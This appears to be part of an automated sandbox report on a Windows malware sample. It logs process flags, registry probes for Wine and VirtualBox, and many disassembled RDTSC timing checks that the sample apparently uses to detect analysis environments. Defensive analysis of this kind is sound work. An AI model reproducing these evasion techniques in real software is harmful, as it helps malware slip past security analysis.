Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CECB6 second address: 9CECBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CECBB second address: 9CECC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FF624B4E7D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CECC5 second address: 9CECC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CECC9 second address: 9CECE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF624B4E7E2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CECE8 second address: 9CECEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CECEC second address: 9CECF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CECF2 second address: 9CECFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FF624C752F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B46A9A second address: B46A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B46A9F second address: B46AA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B46AA5 second address: B46AA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B46AA9 second address: B46AB3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF624C752F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B46C2B second address: B46C2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B46D5D second address: B46D72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FF624C752F6h 0x0000000a jmp 00007FF624C752FBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48D6C second address: B48D70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48D70 second address: B48D76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48D76 second address: B48D88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF624B4E7DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48E04 second address: B48E44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C75309h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c xor ch, 00000042h 0x0000000f call 00007FF624C752F9h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF624C75302h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48F51 second address: B48F5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FF624B4E7D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48F5E second address: B48F6C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48F6C second address: B48F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48F70 second address: B48F8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C75307h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49044 second address: B49062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jc 00007FF624B4E7D6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 popad 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 jne 00007FF624B4E7D8h 0x0000001c push esi 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49062 second address: B490E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C752FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jno 00007FF624C752FEh 0x00000013 pop eax 0x00000014 jmp 00007FF624C75302h 0x00000019 push 00000003h 0x0000001b mov edx, eax 0x0000001d push 00000000h 0x0000001f mov edx, 6DB888C0h 0x00000024 push 00000003h 0x00000026 jmp 00007FF624C75302h 0x0000002b call 00007FF624C752F9h 0x00000030 pushad 0x00000031 jbe 00007FF624C752F8h 0x00000037 js 00007FF624C752FCh 0x0000003d je 00007FF624C752F6h 0x00000043 popad 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 je 00007FF624C752F6h 0x0000004e push eax 0x0000004f pop eax 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B490E4 second address: B490FD instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF624B4E7DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B490FD second address: B49101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49101 second address: B49141 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a pushad 0x0000000b jp 00007FF624B4E7D6h 0x00000011 jmp 00007FF624B4E7DFh 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007FF624B4E7E0h 0x0000001d push edx 0x0000001e pop edx 0x0000001f popad 0x00000020 popad 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push esi 0x0000002a pop esi 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49141 second address: B49147 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67B85 second address: B67B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007FF624B4E7E0h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67D5D second address: B67D63 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67D63 second address: B67D83 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF624B4E7D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FF624B4E7D8h 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007FF624B4E7D6h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67D83 second address: B67D89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67D89 second address: B67D8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67D8F second address: B67D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF624C752F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67F12 second address: B67F1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67F1E second address: B67F24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B68252 second address: B68258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B68258 second address: B6825C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B683AC second address: B683B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B68928 second address: B6892F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B68E8D second address: B68E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6914C second address: B6915A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 jc 00007FF624C752F6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6915A second address: B69167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jg 00007FF624B4E7DCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B692CB second address: B692E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF624C75304h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B692E5 second address: B6930B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7E9h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jns 00007FF624B4E7D6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6959D second address: B695B8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF624C752FAh 0x00000008 push edi 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jg 00007FF624C752FCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B695B8 second address: B695C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FF624B4E7D8h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B695C8 second address: B695CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B736E1 second address: B736FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF624B4E7DDh 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B736FB second address: B736FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73813 second address: B73817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73817 second address: B7382E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a js 00007FF624C752F6h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7382E second address: B73832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73832 second address: B73838 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73DD5 second address: B73DD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73DD9 second address: B73DF3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF624C752F6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF624C752FCh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B73DF3 second address: B73DFD instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF624B4E7D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B774A8 second address: B774AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B774AC second address: B774B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77B54 second address: B77B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77C36 second address: B77C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B780D0 second address: B780E5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF624C752FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B781B3 second address: B781B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B781B7 second address: B781CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jns 00007FF624C752F6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B781CA second address: B781D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7824F second address: B78253 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78253 second address: B78259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78259 second address: B78273 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FF624C752FAh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78273 second address: B78278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78278 second address: B7827E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7827E second address: B78282 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78603 second address: B78609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7878B second address: B78790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78790 second address: B787F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnl 00007FF624C752F6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007FF624C752F8h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 movsx esi, dx 0x0000002c jmp 00007FF624C75309h 0x00000031 xchg eax, ebx 0x00000032 jg 00007FF624C75300h 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c push ecx 0x0000003d pop ecx 0x0000003e jg 00007FF624C752F6h 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B787F7 second address: B7880A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF624B4E7DFh 0x00000009 rdtsc
